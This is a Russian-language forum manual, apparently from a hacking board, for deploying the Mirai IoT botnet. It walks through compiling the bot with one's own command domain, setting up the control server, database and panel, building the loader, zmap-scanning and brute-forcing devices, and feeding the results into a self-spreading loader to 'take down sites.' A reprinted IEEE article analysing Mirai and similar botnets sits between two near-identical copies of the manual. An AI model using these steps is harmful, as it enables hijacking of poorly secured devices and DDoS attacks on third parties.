Нам понадобится два VPS KVM сервера и домен. Виртуализация именно KVM, OpenVZ мимо в этот раз.

Сервера я беру здесь -

На одном сервере будем ставить сам ботнет, на втором будем сканировать ботов. (брутить)

ВАЖНО. Сервера должны быть на базе Debian 8, и иметь как минимум 1GB RAM.

Домен любой, без разницы.

Извините конечно, но рассказывать как прикрутить домен к VPS я не буду. Это не сложно, сами разберетесь.

PuTTY и начинаем.

# apt-get update -y

# apt-get upgrade -y

# apt-get install unzip gcc golang electric-fence screen sudo git -y

# apt-get install mysql-server -y

# apt-get install mysql-client -y

# apt-get install apache2 -y

При установке MySQL, нужно будет создать пароль для доступа к MySQL для root пользователя. Пароль нормальный придумаете, без всяких " qwerty "

Запишите куда нибудь, он нам еще будет нужен.

# sudo apt-get install curl git mercurial make binutils bison gcc build-essential -y

# bash < <(curl -s -S -L

Вы должны быть зарегистрированы, чтобы видеть ссылки.

)

# gvm install go1.4

# gvm use go1.4 [--default]

# gvm install go1.4 -B

# gvm use go1.4

# export GOROOT_BOOTSTRAP=$GOROOT

# gvm install go1.5

# gvm use go1.5

# gvm install go1.8

# gvm use go1.8

После установки всех утилит, качаем исходники бота -

Вы должны быть зарегистрированы, чтобы видеть ссылки.

И загружаем на сервер. Командой wget , или просто через программу WinSCP .

# unzip Mirai-Source-Code-master.zip

# cd Mirai-Source-Code-Master/mirai/tools

# gcc enc.c -o enc

# ./enc string ******* (свой домен пишем, который прикрутили к серверу) и жмем Enter.

Тут вы увидите такой текст -

XOR"ing 14 bytes of data...

\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22

14 - тут будет другая цифра у вас, так что не волнуйтесь, всё правильно.

Копируем весь этот текст.

Открываем через nano редактор, или же через WinSCP файл table.c который находится в папке mirai/bot

Должны увидеть это -

Вы должны быть зарегистрированы, чтобы видеть ссылки.

Строка add_entry(TABLE_CNC_DOMAIN - всё что в кавычках меняем на свой текст, который только что скопировали. Вместо " 30 " пишем свою цифру, которую тоже только что скопировали. Тоже самое делаем с строкой add_entry(TABLE_SCAN_CB_DOMAIN

Сохраняем, и закрываем редактор.

Открываем редактором файл mirai/cnc/main.go

Видим это -

Вы должны быть зарегистрированы, чтобы видеть ссылки.

"127.0.0.1" меняем на "127.0.0.1:3306"

"password" меняем на наш MySQL пароль который вводили ранее. "

Сохраняем файл, и закрываем редактор.

Просто копируйте всю эту хуйню, рассказывать зачем это нужно, не буду -

# mkdir /etc/xcompile

# cd /etc/xcompile

# wget

Вы должны быть зарегистрированы, чтобы видеть ссылки.

# wget

Вы должны быть зарегистрированы, чтобы видеть ссылки.

# wget

Вы должны быть зарегистрированы, чтобы видеть ссылки.

# wget

Вы должны быть зарегистрированы, чтобы видеть ссылки.

# wget

Вы должны быть зарегистрированы, чтобы видеть ссылки.

# wget

Вы должны быть зарегистрированы, чтобы видеть ссылки.

# wget

Вы должны быть зарегистрированы, чтобы видеть ссылки.

# wget

Вы должны быть зарегистрированы, чтобы видеть ссылки.

# wget

Вы должны быть зарегистрированы, чтобы видеть ссылки.

# tar -jxf cross-compiler-armv4l.tar.bz2

# tar -jxf cross-compiler-i586.tar.bz2

# tar -jxf cross-compiler-m68k.tar.bz2

# tar -jxf cross-compiler-mips.tar.bz2

# tar -jxf cross-compiler-mipsel.tar.bz2

# tar -jxf cross-compiler-powerpc.tar.bz2

# tar -jxf cross-compiler-sh4.tar.bz2

# tar -jxf cross-compiler-sparc.tar.bz2

# tar -jxf cross-compiler-armv6l.tar.bz2

# rm *.tar.bz2

# mv cross-compiler-armv4l armv4l

# mv cross-compiler-i586 i586

# mv cross-compiler-m68k m68k

# mv cross-compiler-mips mips

# mv cross-compiler-mipsel mipsel

# mv cross-compiler-powerpc powerpc

# mv cross-compiler-sh4 sh4

# mv cross-compiler-sparc sparc

# mv cross-compiler-armv6l armv6l

# export PATH=$PATH:/etc/xcompile/armv4l/bin

# export PATH=$PATH:/etc/xcompile/i586/bin

# export PATH=$PATH:/etc/xcompile/m68k/bin

# export PATH=$PATH:/etc/xcompile/mips/bin

# export PATH=$PATH:/etc/xcompile/mipsel/bin

# export PATH=$PATH:/etc/xcompile/powerpc/bin

# export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin

# export PATH=$PATH:/etc/xcompile/sh4/bin

# export PATH=$PATH:/etc/xcompile/sparc/bin

# export PATH=$PATH:/etc/xcompile/armv6l/bin

# export PATH=$PATH:/usr/local/go/bin

# export GOPATH=$HOME/Documents/go

# go get github.com/go-sql-driver/mysql

# go get github.com/mattn/go-shellwords

# cd Mirai-Source-Code-master/mirai

# ./build.sh debug telnet

# ./build.sh release telnet

# mv mirai* /var/www/html

# cd /var/www/html

# mkdir bins

# mv * bins/

Теперь MySQL.

# mysql -u root -p

Тут попросят пароль. Вводим пароль который ранее установили.

# create database mirai;

# use mirai

Теперь копируем весь текст от сюда -

Вы должны быть зарегистрированы, чтобы видеть ссылки.

Вставляем, и жмем Enter.

Копируем текст от сюда -

Вы должны быть зарегистрированы, чтобы видеть ссылки.

Вместо anna-senpai пишем свой логин. Любой. Так же и с myawesomepassword. Эти данные нам нужны будут для доступа в панель управления ботом.

Должно быть вот так - INSERT INTO users VALUES (NULL, "pizdec", "zaebalsjapisatj", 0, 0, 0, 0, -1, 1, 30, "");

Копируем, вставляем, жмем Enter.

Теперь можно выходить.

Уже почти всё.

# cd Mirai-Source-Code-master/mirai/release

# touch prompt.txt

# screen ./cnc

Должны увидеть надпись MySQL DB opened

Не закрываем эту сессию, открываем новую.

Вы должны быть зарегистрированы, чтобы видеть ссылки.

Вместо ******* пишем свой домен, и жмем Open.

Вводим логин и пароль, в моем случае это -

zaebalsjapisatj

Всё, мы в панели управления ботом.

Теперь нам нужны боты. Тут всё просто, инсталлы никакие не нужны.

Настроим loader.

Loader нужен для того чтобы ботов можно было бы добавлять с текстовых файлов. Допустим набрутили мы loT устройств (роутеры, камеры, телефоны) и чтобы их добавить в бот, нужен loader.

Так же loader это " червь "

Подключаемся к нашему серверу через PuTTY и WinSCP.

С помощью WinSCP находим файл main.c в папке Mirai-Source-Code-master/dlr

Пишем IP нашего сервера как на скрине -

Вы должны быть зарегистрированы, чтобы видеть ссылки.

Запятые оставляем, так и должно быть. Сохраняем и закрываем.

Теперь с PyTTY заходим на наш сервак и пишем -

# cd Mirai-Source-Code-master/dlr

# chmod 777 *

# ./build.sh

# cd release

# mv dlr* ~/Mirai-Source-Code-master/loader/bins

Теперь открывем WinSCP и находим файл main.c в папке Mirai-Source-Code-master/loader/src

Меняем на свой IP как на скрине -

Вы должны быть зарегистрированы, чтобы видеть ссылки.

Сохраняем и закрываем.

Через PuTTY -

# ./build.sh

С помощью WinSCP открываем файл scanListen.go который можно найти в папке Mirai-Source-Code-master/mirai/tools

Меняем на свой IP сервера -

Вы должны быть зарегистрированы, чтобы видеть ссылки.

Потом с PyTTY -

# cd Mirai-Source-Code-master/mirai/tools

# go build scanListen.go

Теперь у нас появился новый файл - scanListen (без .go , просто scanListen )

scanListen нужно переместить в папку Mirai-Source-Code-master/loader

Просто с помощью WinSCP кидаем его в папку loader

Теперь проверим работает ли всё

# ./loader

Если видите то что на скрине, значит всё правильно -

Вы должны быть зарегистрированы, чтобы видеть ссылки.

Если возникают ошибки, пишите в тему, помогу.

Чтобы загрузить ботов с списка, кидаем текстовик в папку loader и набираем команду -

# cat list.txt | ./loader

Всё, все боты которых вы набрутили будут у вас, будут ложить сайты по вашей команде.

Я лично этот способ не использовал, нашел легче способ.

Тут нам нужен второй сервер. Так же на Debian 8.

# apt-get update -y

# apt-get upgrade -y

# apt-get install python-paramiko -y

# apt-get install zmap -y

zmap нам нужен для сканирования портов. Принцип работы как у KPortScan , только в 50 раз быстрей.

Копируем весь код от сюда -

Вы должны быть зарегистрированы, чтобы видеть ссылки.

И сохраняем как scan.py

Тут вы можете добавить свои пароли, и логины -

Вы должны быть зарегистрированы, чтобы видеть ссылки.

Строку combo не трогаем!

Тут нужно прописать IP сервера на котором стоит бот -

Вы должны быть зарегистрированы, чтобы видеть ссылки.

Меняем всё, и сохраняем.

Файл scan.py кидаем в любое место на нашем сервере. На втором сервере, который чисто для сканирования, тот на котором бот не трогаем.

Нам нужны IP которые мы будем сканировать.

#zmap -p22 -o list.txt -B 100M (можно и другие порты сканировать, я сканировал 22 или 23 всегда)

Все результаты будут в файле list.txt

После того как собрали IP (чем больше тем лучше) файл list.txt кидаем рядом к файлу scan.py и пишем -

# python scan.py list.txt 500

Всё, сидим и смотрим как растет наш ботнет.

Когда наберется хотя бы 200 ботов, можно запустить loader.

Для этого заходим на сервер где установлен ботнет и -

# cd Mirai-Source-Code-master/loader

# ulimit -n 9999999

# ./scanListen | ./loader

Теперь бот будет работать по принципу " червя " и добивать еще ботов.

Два самых известных и распространенных IoT-ботнета - Mirai и Gafgyt - продолжают «размножаться». Были обнаружены новые варианты этих вредоносов, нацеленные на корпоративный сектор. Основная опасность этих киберугроз заключается в хорошо организованных и достаточно мощных DDoS-атаках.

Причина такой распространенности этих двух зловредов кроется в слитом исходном коде, который стал доступен общественности несколько лет назад. Начинающие киберпреступники сразу же начали изобретать свои злонамеренные программы на его основе.

В большинстве случае, ввиду некомпетентности злоумышленников, клоны Mirai и Gafgyt не представляли собой каких-то серьезных проектов и не несли существенных изменений в своих возможностях.

Однако последние варианты ботнетов продемонстрировали тенденцию к заражению корпоративных устройств. В отчете Unit 42, команды Palo Alto Networks , говорится, что новые образцы Mirai и Gafgyt добавили в свой арсенал ряд новых эксплойтов, которые используют старые уязвимости.

Mirai теперь атакует системы, на которых запущен непропатченный Apache Struts (именно так в прошлом году взломали ). Патч для бреши CVE-2017-5638 существует уже больше года, но, естественно, не все обновили своим установки.

Всего у Mirai на данный момент 16 эксплойтов, большинство из которых предназначены для компрометации устройств вроде маршрутизаторов, сетевых видеорегистраторов и различных камер.

Gafgyt (также известен как Baslite) также атакует бизнес-оборудование, ориентируясь на недавно обнаруженную уязвимость CVE-2018-9866. Этот критический недостаток безопасности затрагивает неподдерживаемые версии системы Global Management System (GMS) от SonicWall . Исследователи Unit 42 зафиксировали новые образцы 5 августа, то есть менее чем через неделю после публикации модуля Metasploit для этой уязвимости.

Пораженные Gafgyt устройства могут сканировать другое оборудование на наличие различного рода проблем безопасности, а также атаковать их известными эксплойтами. Еще один вид атаки, который может совершать данный вредонос - Blacknurse, представляет собой ICMP-атаку, которая сильно влияет на загрузку ЦП, что приводит к отказу в обслуживании.

Эксперты также обнаружили, что эти два новых варианта ботнетов были размещены на одном домене. Это доказывает, что за ними стоит один и тот же киберпреступник или их группа.

В конец прошлого месяца мы сообщали, что . Такие данные приводятся в отчете Global Threat Index за июль 2018 года.

А уже в этом месяце правоохранители раскрыли личность, стоящую за одним из самых известных приемников Mirai - Satori. Оказалось, что , киберпреступнику в настоящее время предъявлены обвинения.

С ростом популярности и масштабов Интернета вещей его устройства начали использоваться злоумышленниками как платформа для организации мощнейших кибератак. Степень серьезности и число громких инцидентов безопасности с участием таких устройств показали, что они самое слабое звено цепочки безопасности современных компьютерных сетей. И пусть вычислительная мощность большинства субъектов Интернета вещей далека от возможностей ПК, ее нехватка восполняется количеством устройств, объединенных в единое целое. Все они постоянно соединены с Сетью, и нередко, работая в заводской конфигурации, становятся лакомым куском для взломщиков. Огромная численность, широкое распространение и слабая защищенность устройств Интернета вещей уже привлекли немало злоумышленников, которые с их помощью активно устраивают DDoS-атаки.

«Будущее» уже здесь

Недавний широко известный пример - ботнет Mirai (от японского «будущее». - Прим. ред. ), впервые обнаруженный в августе 2016 года исследовательской группой MalwareMustDie . Сам вредонос, а также его многочисленные варианты и подражатели стали источниками самых мощных DDoS-атак в истории ИТ-индустрии.

В сентябре 2016 года сайт консультанта по компьютерной безопасности Брайана Кребса стал получать трафик со скоростью 620 Гбит/c, что на порядки больше уровня, при котором большинство сайтов выходят из строя . Примерно в то же время еще более мощная DDoS-атака, организованная с помощью Mirai (1,1 Тбит/с), поразила OVH, французского провайдера сервисов веб-хостинга и облачных сервисов . Вскоре был опубликован исходный код вредоноса, после чего злоумышленники начали сдавать в аренду ботнеты на его основе, содержавшие до 400 тыс. устройств. Последовал еще ряд атак Mirai, самая известная из которых, организованная против сервис-провайдера Dyn, в октябре 2016-го на несколько часов вывела из строя сотни сайтов, включая Twitter, Netflix, Reddit и GitHub.

Mirai обычно распространяется, вначале заражая веб-камеры, цифровые видеорегистраторы, маршрутизаторы и т. д., на которых работает одна из версий BusyBox. Затем вредонос выясняет административные верительные данные других устройств Интернета вещей путем простого перебора, используя небольшой словарь типовых для производителей сетевых устройств пар «имя-пароль».

Впоследствии мутации Mirai начали появляться буквально ежедневно, и то, что у них сохранялась способность размножаться и наносить ущерб с помощью тех же методов, что и у оригинала, указывает на хроническое пренебрежение производителей устройств Интернета вещей простейшими методами защиты. Как ни странно, при этом ботнеты, образованные из таких устройств, исследовались слабо, несмотря на опасность того, что все более сложные атаки на их базе потенциально способны подорвать всю инфраструктуру Интернета.

Принцип действия Mirai

Mirai устраивает DDoS-атаку против серверов-мишеней, активно распространяясь через устройства Интернета вещей с незащищенной конфигурацией.

Главные компоненты

Ботнет Mirai состоит из четырех основных компонентов. Бот - вредонос, заражающий устройства и распространяющий «инфекцию» среди неверно сконфигурированных устройств, а потом атакующий сервер-мишень при получении соответствующей команды от ботмастера - человека, управляющего ботами. Управляющий сервер предоставляет ботмастеру интерфейс, позволяющий проверять состояние ботнета и инициировать новые DDoS-атаки. Связь между элементами инфраструктуры ботнета обычно осуществляется через анонимную сеть Tor. Загрузчик обеспечивает распространение исполняемых файлов для всех аппаратных платформ (всего их 18, в том числе ARM, MIPS, x86 и др.) путем прямого контакта с новыми жертвами. Сервер отчетов ведет базу данных со сведениями о всех устройствах в ботнете, а только что зараженные узлы обычно общаются с этим сервером напрямую.

Схема активности и связи в ботнете

Вначале Mirai сканирует порты 23 и 2323 по случайным публичным IP-адресам. Некоторые адреса исключаются (вероятно, чтобы не привлекать внимания госструктур) - например, принадлежащие почте США, Пентагону, IANA, а также компаниям General Electric и Hewlett-Packard. На рис. 1 показаны основные этапы активности и обмена данными в ботнете.

Этап 1. Бот проводит атаку путем подбора, выясняя верительные данные устройств Интернета вещей, фабричные настройки которых не меняли. В словаре Mirai имеются 62 возможные пары «имя-пароль».

Этап 2. Обнаружив рабочие верительные данные и получив с их помощью доступ к командной строке или графическому пользовательскому интерфейсу устройства, бот передает его характеристики серверу отчетов через другой порт.

Этап 3. Ботмастер регулярно проверяет потенциальные мишени и текущее состояние ботнета, общаясь с сервером отчетов через Tor.

Этап 4. Выбрав уязвимые устройства для заражения, ботмастер выдает соответствующие команды загрузчику со всеми необходимыми подробностями, в том числе с IP-адресами и сведениями об аппаратной архитектуре.

Этап 5. Загрузчик входит в систему уязвимого устройства и заставляет ее загрузить и запустить соответствующий исполняемый файл вредоноса. Обычно загрузка происходит с помощью утилиты GNU Wget по протоколу TFTP. Примечательно, что как только вредонос запускается, он пытается защититься от конкурентов, блокируя порты, через которые часто происходит заражение, в том числе Telnet и SSH. На этом этапе свежесозданный экземпляр бота уже может общаться с управляющим сервером и получать от него команды на запуск атаки. Для этого выполняется разрешение доменного имени, жестко закодированного в исполняемом файле (по умолчанию в Mirai это cnc.changeme.com). Такой способ, используемый вместо прямого обращения по IP-адресу, позволяет ботмастеру менять IP-адреса управляющего сервера без модификации двоичных файлов и дополнительного обмена информацией.

Этап 6. Ботмастер отдает команду всем экземплярам бота начать атаку против сервера-мишени, передавая через управляющий сервер соответствующие параметры, в том числе тип и продолжительность атаки, а также IP-адреса самого сервера и экземпляров бота.

Этап 7. Боты начинают атаковать мишень, используя один из десятка доступных методов, среди которых флуд по протоколам Generic Routing Encapsulation, TCP и HTTP.

Характерные черты Mirai

В отличие от других подобных вредоносов, Mirai не пытается избежать обнаружения. Почти все стадии заражения имеют характерные признаки, которые можно распознать с помощью несложного сетевого анализа: перебор определенных верительных данных через определенные порты; отправка составленных специальным образом отчетов; загрузка характерных двоичных файлов; обмен сообщениями для сохранения соединения; передача управляющих команд с характерной структурой; практически полное отсутствие случайных элементов в трафике атаки.


На рис. 2 показаны стандартные режимы связи между загрузчиком Mirai и устройством Интернета вещей, уже зараженным, но еще не начавшим атаку. Длительность сеансов варьируется, но типы и размеры пакетов, а также последовательность сообщений подчиняются закономерностям, которые указывают на заражение именно этим вредоносом.

Варианты Mirai

Казалось бы, публикация исходного кода Mirai и его относительно громкий сетевой шум должны были привести к быстрому появлению эффективных механизмов распознавания и защиты. Однако этого не произошло: всего через два месяца после публикации исходного кода число экземпляров бота увеличилось более чем вдвое, с 213 тыс. до 493 тыс., и появилось большое число его разновидностей. Даже спустя более года после обнаружения Mirai боты по-прежнему использовали слабые конфигурации устройств тех же самых типов, что и изначально.

Большинство заражений Mirai происходят через порты TCP 23 или 2323, но в ноябре 2016 года были обнаружены штаммы вируса, обращающиеся к другим портам, в том числе к 7547, которым интернет-провайдеры пользуются для дистанционного управления маршрутизаторами клиентов. В том же месяце один из таких вариантов Mirai оставил без доступа к Сети почти миллион абонентов Deutsche Telekom.

В феврале 2017 года с помощью варианта Mirai была устроена DDoS-атака длительностью 54 часа против одного из американских колледжей. В следующем месяце появилась еще одна разновидность - на этот раз со встроенными средствами майнинга биткойнов, правда, согласно оценкам, использование устройств Интернета вещей для этих целей вряд ли могло принести большой доход.

В апреле началась активность Persirai - еще одного ботнета, созданного с использованием кодовой базы Mirai. Эта зомби-сеть была обнаружена исследователями Trend Micro, которые дали ей имя, объединив слова Persian и Mirai - первое было выбрано с учетом предположительно иранского происхождения вредоноса. Он пытается получить доступ к управляющему интерфейсу веб-камер определенных производителей через порт TCP 81. В случае успеха происходит проникновение в маршрутизатор с использованием уязвимости протокола UPnP, а затем выполняются загрузка, запуск и удаление дополнительных двоичных файлов. Вместо того чтобы выяснять верительные данные для входа в интерфейс камеры путем подбора, вирус использует брешь нулевого дня, позволяющую напрямую получить файл с паролем. Распределенная DoS-атака осуществляется посредством флуда по протоколу UDP. Согласно оценкам, всего в Сети было около 120 тыс. устройств, уязвимых для Persirai.

Другие ботнеты на основе Интернета вещей

Полагаясь на базовые принципы Mirai, создатели новых вредоносов стали пользоваться другими, более сложными механизмами для увеличения мощности и маскировки активности зомби-сетей.

В августе 2016 года исследователи из организации MalwareMustDie сообщили о первом ботнете на основе Интернета вещей, созданном с использованием языка скриптов Lua. Большую часть армии ботнета составляли кабельные модемы с процессорами ARM, работающие под управлением Linux. Вредонос имеет сложные функции - например, создает зашифрованный канал обмена данными с управляющим сервером и задает особые правила iptables для защиты инфицированных устройств от конкурентов.

Ботнет Hajime, обнаруженный в октябре 2016 года специалистами Rapidity Networks, пользуется методом заражения, похожим на Mirai. Но вместо централизованной архитектуры Hajime опирается на распределенную систему связи, применяя протокол BitTorrent Distributed Hash Tag (DHT) для обнаружения пиров (равноправных пользователей сети), и использует транспортный протокол uTorrent для обмена данными. Все сообщения шифруются по протоколу RC4. Пока что Hajime не проявил себя с отрицательной стороны, напротив, он устраняет потенциальные источники уязвимостей в устройствах Интернета вещей, используемых ботнетами, подобными Mirai, в связи с чем высказывалось мнение, что он был создан неким «Робин Гудом». Однако истинное назначение ботнета так и осталось загадкой.

Ботнет BrickerBot, который, как и Mirai, заражает ПО BusyBox, был обнаружен экспертами компании Radware в апреле 2017 года. Пользуясь верительными данными, установленными по умолчанию в сервисе SSH, а также ошибочными конфигурациями и известными уязвимостями, вредонос пытается устраивать перманентные атаки на отказ в обслуживании (PDoS, Permanent DoS) против устройств Интернета вещей, то есть достаточно разрушительные, чтобы вынуждать к повторной настройке или замене оборудования. BrickerBot портит прошивки устройств, удаляет на них файлы и меняет сетевые настройки.

Уроки

Масштабный вред, нанесенный атаками Mirai, его вариантов и подобных ботнетов, отчетливо продемонстрировал риски, создаваемые устройствами Интернета вещей для Всемирной сети. На сегодня довольно несложные вирусы способны брать такие устройства под контроль и создавать огромные разрушительные армии «зомби». Атакующих при этом привлекает простота выращивания популяции ботов. Можно перечислить пять основных причин, по которым устройства Интернета вещей особенно выгодно использовать для создания ботнетов.

  1. Постоянная, беспрепятственная активность. В отличие от ноутбуков и настольных ПК, которые часто включают и выключают, многие устройства Интернета вещей (вроде веб-камер и маршрутизаторов Wi-Fi) работают круглосуточно и часто воспринимаются хозяевами как устройства, которые не могут быть подвержены заражениям.
  2. Отсутствие защиты. Спеша выйти на рынок Интернета вещей, многие производители устройств пренебрегают безопасностью, уделяя больше внимания удобству и простоте использования.
  3. Отсутствие контроля. Большинство устройств Интернета вещей используются по принципу «настроил и забыл» - после первичной настройки сисадмины могут уделить им внимание, только если они перестают штатно работать.
  4. Внушительный трафик атак. Устройства Интернета вещей сегодня обладают достаточной мощностью и удачным расположением для создания трафика DDoS-атак, не менее мощного, чем с помощью современных настольных компьютеров.
  5. Неинтерактивные или минимально интерактивные пользовательские интерфейсы. Поскольку устройства Интернета вещей обычно требуют минимального вмешательства пользователя, заражение, скорее всего, останется незамеченным. Но даже если его заметят, пользователям недоступны простые способы устранения вредоноса за исключением физической замены устройства.

Появление DDoS-атак, осуществляемых устройствами Интернета вещей, предсказывалось давно, и сегодня количество все более сложных вариантов и подражателей Mirai растет угрожающими темпами. Такие вредоносы обычно способны действовать на многих платформах и, отличаясь малой ресурсоемкостью, могут довольствоваться минимумом оперативной памяти. Кроме того, процедура заражения относительно проста, что делает любое уязвимое устройство кандидатом на превращение в зомби, даже если его часто перезагружают. Большинство существующих на сегодня вредоносов Интернета вещей легко поддаются обнаружению и анализу, однако новые боты становятся все более скрытными.

Обычно большая часть ответственности за DDoS-атаки лежит на самих пользователях и сисадминах, пренебрегающих элементарными мерами предосторожности. Однако в случае ботнетов Интернета вещей вся ответственность лежит на производителях, выпускающих слабозащищенные продукты с фабричными настройками удаленного доступа. Кроме того, только у производителей устройств Интернета вещей имеется возможность автоматически предоставлять фирменные обновления безопасности, которые позволили бы защититься от заражений. Обычные методы повышения надежности, требующие ручного вмешательства, например частая смена паролей, для устройств Интернета вещей, невозможны, поскольку поведение таких устройств в сети основано на принципе саморегулирования. Поэтому на сегодня для Интернета вещей необходимы технические средства контроля обеспечения безопасности, а также продуманные стандарты защиты для устройств, обязательные для соблюдения всеми поставщиками.

Джеффри Воас ([email protected]) - научный сотрудник IEEE.

Constantinos Kolias, Georgios Kambourakis, Angelos Stavrou, Jefrey Voas, DDoS in the IoT: Mirai and Other Botnets. IEEE Computer, July 2017, IEEE Computer Society. All rights reserved. Reprinted with permission.


Много пиздеть не буду, скажу лишь что софт рабочий, выключает сайты на ура. И это первый русский мануал по установке Mirai. " Историческая хуйня "

Нам понадобится два VPS KVM сервера и домен. Виртуализация именно KVM, OpenVZ мимо в этот раз.
На одном сервере будем ставить сам ботнет, на втором будем сканировать ботов. (брутить)
Сервера я брал тут - https://www.nforce.com/
Проблем не было, не банили.
Для тех кто хочет просто посмотреть, как там и что, можете взять и тут тестовые сервера - https://adminvps.ru/
ВАЖНО. Сервера должны быть на базе Debian 8, и иметь как минимум 1GB RAM.
Домен любой, без разницы.
Извините конечно, но рассказывать как прикрутить домен к VPS я не буду. Это не сложно, сами разберетесь.
Подключаемся к нашему серверу через PuTTY и начинаем.

# apt-get update -y
# apt-get upgrade -y
# apt-get install unzip gcc golang electric-fence screen sudo git -y
# apt-get install mysql-server -y
# apt-get install mysql-client -y
# apt-get install apache2 -y
При установке MySQL, нужно будет создать пароль для доступа к MySQL для root пользователя. Пароль нормальный придумаете, без всяких " qwerty "
Запишите куда нибудь, он нам еще будет нужен.

# sudo apt-get install curl git mercurial make binutils bison gcc build-essential -y
# bash < <(curl -s -S -L https://raw.githubusercontent.com/moovweb/gvm/master/binscripts/gvm-installer)
# gvm install go1.4
# gvm use go1.4 [--default]
# gvm install go1.4 -B
# gvm use go1.4
# export GOROOT_BOOTSTRAP=$GOROOT
# gvm install go1.5
# gvm use go1.5
# gvm install go1.8
# gvm use go1.8

После установки всех утилит, качаем исходники бота - и загружаем на сервер. Командой wget, или просто через программу WinSCP.
# unzip Mirai-Source-Code-master.zip
# cd Mirai-Source-Code-Master/mirai/tools
# gcc enc.c -o enc
# ./enc string vlmi.su (свой домен пишем, который прикрутили к серверу) и жмем Enter
Тут вы увидите такой текст -
XOR"ing 14 bytes of data...
\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22
14 - тут будет другая цифра у вас, так что не волнуйтесь, всё правильно.
Копируем весь этот текст.
Открываем через nano редактор, или же через WinSCP файл table.c который находится в папке mirai/bot
Должны увидеть это - https://prnt.sc/gcxa2m
Строка add_entry(TABLE_CNC_DOMAIN - всё что в кавычках меняем на свой текст, который только что скопировали. Вместо " 30 " пишем свою цифру, которую тоже только что скопировали. Тоже самое делаем с строкой add_entry(TABLE_SCAN_CB_DOMAIN
Сохраняем, и закрываем редактор.
Идем дальше.
Открываем редактором файл mirai/cnc/main.go
Видим это - https://prnt.sc/gcxdtz
"127.0.0.1" меняем на "127.0.0.1:3306"
"password" меняем на наш MySQL пароль который вводили ранее. "
Сохраняем файл, и закрываем редактор.
Просто копируйте всю эту фигню, рассказывать зачем это нужно, не буду -

# mkdir /etc/xcompile
# cd /etc/xcompile

# tar -jxf cross-compiler-armv4l.tar.bz2
# tar -jxf cross-compiler-i586.tar.bz2
# tar -jxf cross-compiler-m68k.tar.bz2
# tar -jxf cross-compiler-mips.tar.bz2
# tar -jxf cross-compiler-mipsel.tar.bz2
# tar -jxf cross-compiler-powerpc.tar.bz2
# tar -jxf cross-compiler-sh4.tar.bz2
# tar -jxf cross-compiler-sparc.tar.bz2
# tar -jxf cross-compiler-armv6l.tar.bz2

# mv cross-compiler-armv4l armv4l
# mv cross-compiler-i586 i586
# mv cross-compiler-m68k m68k
# mv cross-compiler-mips mips
# mv cross-compiler-mipsel mipsel
# mv cross-compiler-powerpc powerpc
# mv cross-compiler-sh4 sh4
# mv cross-compiler-sparc sparc
# mv cross-compiler-armv6l armv6l

# export PATH=$PATH:/etc/xcompile/armv4l/bin

# export PATH=$PATH:/etc/xcompile/i586/bin
# export PATH=$PATH:/etc/xcompile/m68k/bin
# export PATH=$PATH:/etc/xcompile/mips/bin
# export PATH=$PATH:/etc/xcompile/mipsel/bin
# export PATH=$PATH:/etc/xcompile/powerpc/bin
# export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin
# export PATH=$PATH:/etc/xcompile/sh4/bin
# export PATH=$PATH:/etc/xcompile/sparc/bin
# export PATH=$PATH:/etc/xcompile/armv6l/bin

# export PATH=$PATH:/usr/local/go/bin
# export GOPATH=$HOME/Documents/go

# go get github.com/go-sql-driver/mysql
# go get github.com/mattn/go-shellwords
Заебался.

# cd Mirai-Source-Code-master/mirai
# ./build.sh debug telnet
# ./build.sh release telnet

# mv mirai* /var/www/html
# cd /var/www/html
# mkdir bins
# mv * bins/
# cd

Теперь MySQL.
# mysql -u root -p
Тут попросят пароль. Вводим пароль который ранее установили.
# create database mirai;
# use mirai
Теперь копируем весь текст от сюда - https://pastebin.com/QVD48J8s вставляем, и жмем Enter.
Копируем текст от сюда - https://pastebin.com/JwYSgE4v
Вместо anna-senpai пишем свой логин. Любой. Так же и с myawesomepassword. Эти данные нам нужны будут для доступа в панель управления ботом.
Должно быть вот так - INSERT INTO users VALUES (NULL, "pizdec", "zaebalsjapisatj", 0, 0, 0, 0, -1, 1, 30, "");
Копируем, вставляем, жмем Enter.
Теперь можно выходить.
# exit
Уже почти всё.
# cd Mirai-Source-Code-master/mirai/release
# touch prompt.txt
# screen ./cnc
Должны увидеть надпись MySQL DB opened
Не закрываем эту сессию, открываем новую.
http://prntscr.com/gcxunx вместо vlmi.su пишем свой домен, и жмем Open.
Вводим логин и пароль, в моем случае это -
pizdec
zaebalsjapisatj
Всё, мы в панели управления ботом.